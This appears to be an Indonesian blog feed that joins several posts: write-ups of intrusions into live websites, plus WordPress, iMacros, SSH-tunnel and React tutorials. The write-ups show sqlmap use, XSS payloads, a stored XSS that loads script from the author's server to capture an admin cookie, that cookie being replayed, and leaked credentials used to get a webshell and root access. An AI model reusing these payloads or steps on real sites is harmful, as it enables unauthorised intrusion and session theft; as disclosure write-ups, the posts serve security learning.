Seperti yang kita tahu, LK21 sering bergonta ganti domain karena #####. Pada saat melakukan percobaan ini, LK21 sedang berada di domain lk21official.baby dan berubah menjadi nonton.lk21official.wiki saat saya sedang melakukan percobaan.
Disclaimer:
Tulisan ini hasil percobaan beberapa waktu lalu bersama Abdi Prawira yang awalnya tidak diniatkan untuk ditulis, karena itu beberapa screenshot di bawah bisa jadi tidak terlalu menjelaskan secara detail tentang apa yang sedang dilakukan.
Dari hasil information gathering, diketahui situs LK21 menggunakan Wordpress dengan tambahan beberapa custom php file untuk tujuan yang mungkin tidak disediakan oleh WordPress.
Saya menemukan SQL Injection pada salah satu custom php file situs tersebut.
Karena situs LK21 menggunakan WordPress, saya mencoba untuk mendapatkan data dari table wp_users
, namun tidak sampai membuang waktu untuk mencoba mendapatkan string asli dari kolom password.
Setelah percobaan lebih lanjut, diketahui user MySQL yang digunakan adalah DB Administrator. Saya mencoba upload shell menggunakan SQLMap melalui command --os-shell
dan --file-write
namun tidak berhasil karena user (Server User) mysql
tidak mempunyai akses untuk membuat file pada direktori target.
Selanjutnya saya mencoba membaca beberapa file konfigurasi seperti file konfigurasi Nginx dan MySQL menggunakan command --file-read
yang ternyata tidak terlalu berguna. Namun saya menemukan IP asli dari server tersebut pada file /etc/hosts
.
Saya melanjutkan percobaan dengan melakukan directory scanning pada IP yang terdapat pada file sebelumnya. Dari hasil scanning, saya menemukan file adm.php
yang berisi Adminer.
Adminer adalah sebuah aplikasi web open-source yang menyediakan antarmuka pengguna untuk mengelola database SQL dengan tampilan yang sederhana dan mudah digunakan.
Selanjutnya saya mencoba membaca file konfigurasi WordPress yang berada di wp-config.php
. Sebelumnya saya mendapatkan full path dari file konfigurasi Nginx saat menemukan SQL Injection di atas.
Setelah mendapatkan informasi login database, saya menduplikasi user admin lalu mengubah username dan password user baru tersebut.
Saya berhasil login ke dashboard LK21.
Selanjutnya saya mencoba upload webshell melalui fitur upload plugin dan file hasil upload akan berada pada direktori /wp-content/uploads/[bulan]/[tanggal]/namafile.php
.
Saya sudah melaporkan temuan ini melalui akun Telegram LK21 yang terdapat pada situs dan sudah diberikan izin untuk mempublish tulisan tentang laporan tersebut.
Sekian tulisan singkat tentang SQL Injection to RCE pada Situs LK21, sampai jumpa pada tulisan selanjutnya.
Saat saya sudah berhasil upload webshell, saya melihat terdapat file konfigurasi untuk mengakses API CloudFlare. Yang artinya, saya bisa saja mengubah arah domain-domain yang ada di akun tersebut menuju server saya, hehe.
]]>Tulisan ini sudah dipublikasi pada situs hekermen.com dengan judul SQL Injection to RCE Situs LK21.
Untuk mempermudah dan agar saya tidak perlu menyebut nama situsnya, mari kita sebut situs ini sebagai situsharam.com
.
Setelah mencoba beberapa fitur seperti list actors/actress, kategori, pencarian, serta fitur yang membutuhkan autentikasi pengguna seperti edit profile, like, comment dan semacamnya, saya menemukan beberapa celah yang detailnya akan saya jelaskan di bawah ini.
Celah pertama adalah Reflected XSS yang saya temukan di halaman pencarian. Payload yang saya gunakan adalah:
asd"><ScRiPt%20>alert(1);<%2fscript>
Saat mencoba, saya menemukan bahwa karakter /
diblok oleh WAF sehingga saya coba untuk mem-bypass rule tersebut menggunakan karakter %2f
. Dari temuan ini saya bisa menggunakan payload yang sudah disisipi script untuk mencuri cookie
pengguna.
Pada kasus di dunia nyata, seorang penyerang akan menyisipkan javascript yang bertujuan untuk mencuri cookie pengguna dan beberapa data lain, lalu mengirimnya pada server penyerang.
Untuk melakukan ini, penyerang perlu mengirim URL (yang sudah disisipi payload) ke pengguna lain atau pemilik/admin dari situs ini. Lalu penyerang akan menggunakan data tersebut untuk masuk di situs target tanpa menggunakan username dan password.
Saya rasa kebanyakan bug bounty hunter (termasuk saya) akan mencoba memasukkan payload ke setiap form yang kami temui. Dengan modal “penting yakin”, saya mengisi "><h1>asdf</h1>"
pada kolom nama di halaman Edit Profile.
Setelah menyimpan perubahan tersebut, kode HTML yang saya sisipkan dibaca oleh situs sehingga menandakan adanya potensi untuk Stored XSS.
Saya melanjutkan dengan memasukkan payload:
"><script src=//x.serversaya.com></script><x="
">
= digunakan untuk keluar dari input form (<input>
)<script src=//x.serversaya.com></script>
= digunakan untuk memanggil script dari server saya (ezXSS)<x="
= digunakan untuk membuka kembali hasil escape dari input form, sehingga tidak ada “ type=”text” dst seperti screenshot di atasSetelah beberapa waktu menunggu, saya mendapat notifikasi bahwa payload di atas ditemukan di domain lain (cp.situslain.com) yang mana adalah dashboard admin dari situsharam.com
. Berikut detail laporan dari ezXSS saat payload saya ditemukan di dashboard admin (klik gambar untuk memperbesar).
Pada tangkapan layar di atas, terlihat ada cookie
admin yang tertangkap oleh kode javascript yang saya panggil. Saya akan mencoba menggunakan Cookie tersebut untuk masuk ke https://cp.situslain.com/user/edit/{userid}
.
Ketika mengakses https://cp.situslain.com/user/edit/{userid}
, saya dialihkan ke halaman login https://cp.situslain.com/user/login
.
Selanjutnya saya mencoba set cookie manual melalui Console
pada inspect element
dengan cara memasukkan kode javascript. Cookie ini berasal dari laporan ezXSS di atas:
document.cookie = 'PHPSESSID=lot4#######################';
Setelah Cookie di-set, saya mencoba mengulang lagi dan akhirnya berhasil membuka halaman https://cp.situslain.com/user/edit/{userid}
.
Disclaimer
Level dan Credit yang tertera pada screenshot adalah pemberian admin (apresiasi, menurut istilah sekarang) setelah saya melaporkan temuan ini. Proses pelaporan tidak akan saya jelaskan di sini, hehe.
Sekian artikel “Mengintip Dashboard Admin Situs Haram”. Semoga ada yang bisa dipelajari dari artikel ini, selain akhirnya kita tahu bentuk halaman dashboard admin situs haram. Sampai jumpa di artikel selanjutnya.
]]>Yang perlu kita lakukan adalah menambahkan function ini ke dalam functions.php
yang ada pada tema Wordpress kita.
add_filter( 'rest_prepare_post', 'add_prev_next_to_rest' , 10, 3 );
function add_prev_next_to_rest( $response, $post, $request ) {
global $post;
// Get the next post.
$next = get_adjacent_post( false, '', false );
// Get the previous post.
$previous = get_adjacent_post( false, '', true );
// Only send id and slug (or null, if there is no next/previous post).
$response->data['next'] = ( is_a( $next, 'WP_Post') ) ? array( "id" => $next->ID, "slug" => $next->post_name ) : null;
$response->data['previous'] = ( is_a( $previous, 'WP_Post') ) ? array( "id" => $previous->ID, "slug" => $previous->post_name ) : null;
return $response;
}
Function di atas akan menambahkan key baru ke dalam output JSON:
"next": {
"id": 1728,
"slug": "bekerja-dengan-remote-repository"
},
"previous": {
"id": 1651,
"slug": "deploy-jekyll-ke-vercel-dengan-mudah"
},
Saya mendapat sebuah case menambahkan atribut ke dalam tag <img>
yang tidak mempunyai height
dan width
spesifik. Setelah mencoba beberapa cara, akhirnya ditemukan cara yang paling sederhana adalah menggunakan preg_replace()
.
Kode yang saya gunakan:
$html_content = preg_replace('/(<img(?:(?!height|width="\d+").)*?)(\/)?>/', '$1 width="35%" height="35%"></img>', $html_content);
Contoh keseluruhan kode:
<?php
$html_content = '
<!DOCTYPE html>
<html>
<head>
<title>Title</title>
</head>
<body>
<img src="https://assets.codelatte.net/images/uploads/dino.jpeg" class="ini-anggep-aja-class bla-bla">
<br/>
<img src="https://assets.codelatte.net/images/uploads/dinoo.jpeg" class="ini-anggep-aja-class bla-bla">
</body>
</html>';
$html_content = preg_replace('/(<img(?:(?!height|width="\d+").)*?)(\/)?>/', '$1 width="35%" height="35%"></img>', $html_content);
echo $html_content;
Hasilnya seperti yang terlihat di bawah ini.
]]>WordPress adalah CMS blogging paling populer dan dilengkapi banyak plugin yang bisa diinstal dengan mudah. Selain itu, WordPress juga menawarkan backend admin yang bagus di mana kita bisa mengelola semuanya; mulai dari komentar, post sampai pengaturan Google Analytics dan lainnya.
Saya belum pernah menggunakan WordPress sebelumnya, tetapi dari beberapa artikel yang saya temukan di Google dan beberapa saran dari teman-teman, saya membuat blog pertama saya menggunakan WordPress. Selang beberapa waktu, saya mulai mengubah tema dan membuat beberapa perubahan tampilan dan lain-lainnya. Saat itulah “masalah” dimulai.
Saya justru lebih sering menghabiskan waktu untuk memilih tema mana yang sebaiknya saya pakai, plugin apa saja yang harus saya install, setelah itu kembali lagi mengubah tampilan tema sesuai apa yang bisa dan ingin saya ubah. Banyaknya tema dan plugin yang saya install, tentu saja membuat situs saya semakin lambat untuk dibuka.
Penambahan-pengurangan sana-sini hanya membuat saya akhirnya lebih fokus menggonta-ganti tampilan blog saya, alih-alih memperbarui tulisan seperti niat awal saya.
Alasan kedua adalah karena beberapa plugin yang saya gunakan tidak kompatibel dengan versi WordPress paling baru yang sudah penggunakan PHP 8. Beberapa plugin saya masih stuck pada PHP 7.
Saya sudah mencoba Jekyll beberapa waktu sebelumnya, bahkan saya sempat menulis tentang Cara Membuat Blog di Github Menggunakan Jekyll. Selama itu juga saya melihat banyak tema Jekyll yang simple, rapi, bersih, kan gemes.
Alasan utama adalah Jekyll bisa menggunakan GitHub sebagai hostnya, jadi saya tidak perlu mengeluarkan biaya untuk sewa hosting. Dan tentunya lebih ringkas juga karena saya bisa mengelola seluruh situs dalam satu repositori.
Alasan keduanya, tema yang saya pakai ini sudah saya anggap “paket komplit.” Tema ini sudah dilengkapi mode terang dan gelap, responsive (desktop, tab & mobile), mendukung SEO, generate sitemap.xml
, dan banyak fitur lainnya.
Alasan ketiga adalah saya merasa kinerja penyedia hosting yang saya pakai sebelumnya agak berkurang. Beberapa kali down, bahkan sempat 3-4 kali down dalam sehari. Sekarang, karena ada sesuatu yang tidak memungkinkan untuk blog saya berjalan di GitHub Pages, blog Jekyll saya menggunakan Vercel, ya tetep gratis sih.
Bosen.
]]>150 halaman lebih dengan isi halaman yang mirip—kebanyakan sama. Biar ngga kebanyakan, bikin bot delete pakai iMacros.
VERSION BUILD=1011 RECORDER=CR
URL GOTO=https://xsshunter.com/app
TAG POS=1 TYPE=BUTTON ATTR=CLASS:"delete_injection_button btn btn-danger btn-block"
TAG POS=2 TYPE=BUTTON ATTR=CLASS:"delete_injection_button btn btn-danger btn-block"
TAG POS=3 TYPE=BUTTON ATTR=CLASS:"delete_injection_button btn btn-danger btn-block"
TAG POS=4 TYPE=BUTTON ATTR=CLASS:"delete_injection_button btn btn-danger btn-block"
TAG POS=5 TYPE=BUTTON ATTR=CLASS:"delete_injection_button btn btn-danger btn-block"
WAIT SECONDS=2
Kode di atas berarti menginstruksikan iMacros untuk klik Tag HTML dengan class delete_injection_button btn btn-danger btn-block
sebanyak 5 kali (jumlah item yang harus dihapus di satu halaman). Lalu WAIT SECONDS=2
untuk menunggu loading saat item dihapus.
Jalankan script menggunakan “Play Loop” sesuai jumlah halaman.
]]>Today that changed for the first time, I wanted to dump some databases hosted on a server which required access via a tunnel. This turned out to be super simple, here are the two commands I used.
First, we setup a tunnel which connects my localhost
port 5433
to the tunnel database hosts 5432
, I do this using the -L
flag on the SSH command which allows me to bind a local port to a remote port. In the below command, db-host is the host of my database, and tunnel-user@tunnel-host.com are the credentials for my tunnel server.
ssh -L localhost:5433:db-host:5432 tunnel-user@tunnel-host.com
That will open an SSH session which will stick around until killed, just like any other SSH session.
Once that’s running, I can then open a new terminal on my machine and run the normal pg_dump
command using the bound port.
pg_dump -f ~/Dekstop/db.sql -d postgres -h localhost -p 5433
That’s it! Successful binding of a port to achieve tunneling for interacting with a postgres database via command line.
]]>Buka dashboard, ke halaman Tampilan > Edit Tema, cari file single.php
. Tambahin kode:
function reading_time($content) {
// ambil konten
$the_content = $content;
// hitung jumlah kata
$words = str_word_count( strip_tags( $the_content ) );
// pembulatan dan pembagian 200 kata per menit
$minute = floor( $words / 200 );
// hitung total waktu baca
$estimate = $minute . ' minute' . ( $minute == 1 ? '' : 's' );
// tampilkan output
$output = $estimate . ' read.';
// return hasil estimasi waktu baca
return $output;
}
Panggil functions reading_time
di sekitar tanggal post dan/atau author post, contoh:
<div class="entry-meta">
<?php
incise_posted_on();
incise_author_outside_loop();
echo " • " . reading_time(get_the_content());
?>
</div>
Function get_the_content()
buat ambil isi konten. Cara ini juga bisa dipake di homepage WordPress—saat looping posts. Tinggal get_the_content
sama function ambil konten by post_id
nya aja.
*.redacted.co.id
.
Saya melakukan directory scan pada subdomain _developer.redacted.co._id menggunakan DirSearch dengan menggunakan command
:
dirsearch -u https://developer.redacted.co.id/ -e php,js,sql,zip,rar,backup -r -x 400-599
-e
digunakan untuk extension-r
recursive-x
exclude digunakan untuk tidak menampilkan output jika memiliki response code 400-599Ternyata pada subdomain developer.redacted.co.id, kita bisa melihat direktori .git/
yang bisa diakses oleh siapapun. Seperti sebelumnya, saya mengekstrak isi direktori tersebut menggunakan GitTools.
Baca juga: Login Email Situs Berita di Indonesia
Dari hasil ekstrak tersebut, saya menemukan bahwa developer.redacted.co.id menggunakan framework CodeIgniter.
database.php
di dalam direktori developer
.Sayangnya saya tidak bisa langsung login ke database developer.redacted.co.id melalui username dan password yang ada dalam file konfigurasi database.php
. Saya mencari file lain yang saya rasa mengandung informasi lain.
Saya menemukan file berisi beberapa informasi yang berguna lainnya di dalam file constans.php
dan beberapa file controller yang ada.
Saya menemukan subdomain lain yaitu dev-user.redacted.co.id
. Saya melakukan directory scan juga pada subdomain tersebut dan menemukan file .vscode/sftp.json
yang berisi username dan password untuk koneksi server tersebut dengan Visual Studio Code, seperti penjelasan dari Codepolitan.
Saya berhasil login menggunakan username dan password yang tersedia. Saya mendapat akses root untuk server developer.redacted.co.id
.
Saya mencoba melaporkan temuan ini melalui beberapa orang yang bekerja di perusahaan tersebut yang saya temukan di LinkedIn. Sayangnya, saat ini pihak perusaah belum mempunyai program bug bounty.
Pos ini saya terbitkan atas persetujuan pihak yang saya hubungi. Semoga bermanfaat, sampai jumpa pada pos selanjutnya.
]]>React js adalah sebuah library javascript yang dapat Anda akses dengan bebas. Jadi, siapa saja dapat mengakses library tersebut dengan mudah. Kode javascript ini bisa Anda gunakan semuanya langsung atau dengan sedikit perubahan.
Javascript merupakan bahasa pemrograman yang berguna untuk membuat tampilan website menjadi lebih cantik. Misalnya saja tampilan slide, pop up dan tampilan menarik lainnya bisa Anda buat melalui javascript tersebut.
Jadi, dengan bantuan React JS, maka proses coding menjadi jauh lebih sederhana. Anda tidak perlu membuat kodenya dari awal, tetapi tampilan website dapat menjadi lebih menarik, sehingga hal ini cocok untuk membuat user interface (UI) yang interaktif.
Jika UI website bagus, maka para user akan suka mengunjungi situs tersebut. Akibatnya, trafik meningkat dan tujuan website Anda (baik itu menyebarkan konten informasi, jual produk dan jasa, dan lainnya) dapat tercapai dengan baik
Baca juga: Cloud Hosting Indonesia Bayar Bulanan
Para pengguna framework ini sangat mengenal sejarah React JS, karena yang mencetuskannya pertama kali adalah Facebook. React JS ini memiliki berbagai kelebihan yang menarik untuk Anda ketahui, seperti:
Memahaminya Lebih Mudah
Keunggulan pertama dari React JS adalah penulisan coding-nya yang deklaratif. Oleh karena itu, Anda bisa memahami kode javascript yang ada dengan mudah. Terutama ketika memeriksa kesalahan pada penulisan kode, sehingga proses debugging menjadi lebih mudah.
Melalui framework yang sama Anda bisa membuat tampilan web atau aplikasi yang menarik, tetapi tetap sederhana.
Pemakaian Berulang Kelebihan lainnya dari framework ini adalah bisa Anda bisa memakainya kembali dengan bebas. Anda bisa mengambil semua bagian coding javascript atau sebagian saja. Kemudian, Anda tinggal mengembangkannya sesuai kebutuhan masing-masing.
Hal ini akan menghemat banyak waktu dalam membuat UI yang Anda inginkan. Akibatnya, pekerjaan menjadi lebih cepat selesai dan biaya project dapat Anda potong semaksimal mungkin.
Scalable
Kelebihan lain dari React JS adalah bisa Anda pakai untuk project baik skala besar atau kecil. Selain itu, framework dapat menampilkan perubahan data yang terjada secara kompleks dengan lengkap dan akurat.
Kemudian, dalam proses pembuatannya Anda bisa membuat bagian-bagian kecil terlebih dahulu secara terpisah. Lalu, Anda gabungkan menjadi satu bagian utuh. Hal ini sangat penting karena project tersebut bisa Anda bagi sekaligus mengurangi beban perangkat PC atau laptop.
Baca juga: Tirto Bug Bounty: Misconfigurasi pada Server Tirtoid
Walaupun memiliki banyak kelebihan, ternyata React JS juga memiliki beberapa kekurangan, antara lain:
Dokumentasi Berantakan Kekurangan lainnya dari react adalah dokumentasinya yang terlihat berantakan. Berbeda dengan framework lainnya yang secara umum lebih rapi bahkan ada yang tidak lengkap.
Walaupun demikian, framework ini dapat Anda pakai dengan baik karena mempelajarinya cukup mudah. Terutama jika Anda rajin dan semangat mempelajarinya maka editing javascript akan terasa lebih mudah.
View Layer React JS merupakan library javascript dalam bentuk view layer. Walaupun penggunaannya sangat mudah, tetapi framework ini tidak cocok untuk membangun aplikasi yang besar.
Jadi, Anda tetap harus melengkapinya dengan router, data layer, struktur dan lainnya secara terpisah. Anda bisa memakai library luar untuk melengkapi hal tersebut. Namun, hal ini tidak praktis dan akan menyulitkan para pengguna baru.
Library javascript ini memiliki beberapa fitur unggulan yang dapat Anda nikmati. Adapun fitur tersebut antara lain:
Virtual DOM Fitur ini akan membuat salinan DOM tertentu yang ingin Anda update. Proses ini berguna untuk kolom komentar pada website. Ketika memakai fitur ini pada struktur React JS. Maka, tampilan yang berubah hanya pada kolom komentar saja dan bagian lainnya tidak.
Hal ini sangat berpengaruh karena mengurangi proses reload halaman situs. Dampaknya, performa website menjadi lebih baik dari sebelumnya.
Setelah mengenal dengan baik apa itu React JS, kelebihan dan kekurangannya. Maka, sekarang Anda memahami betapa pentingnya framework tersebut.
]]>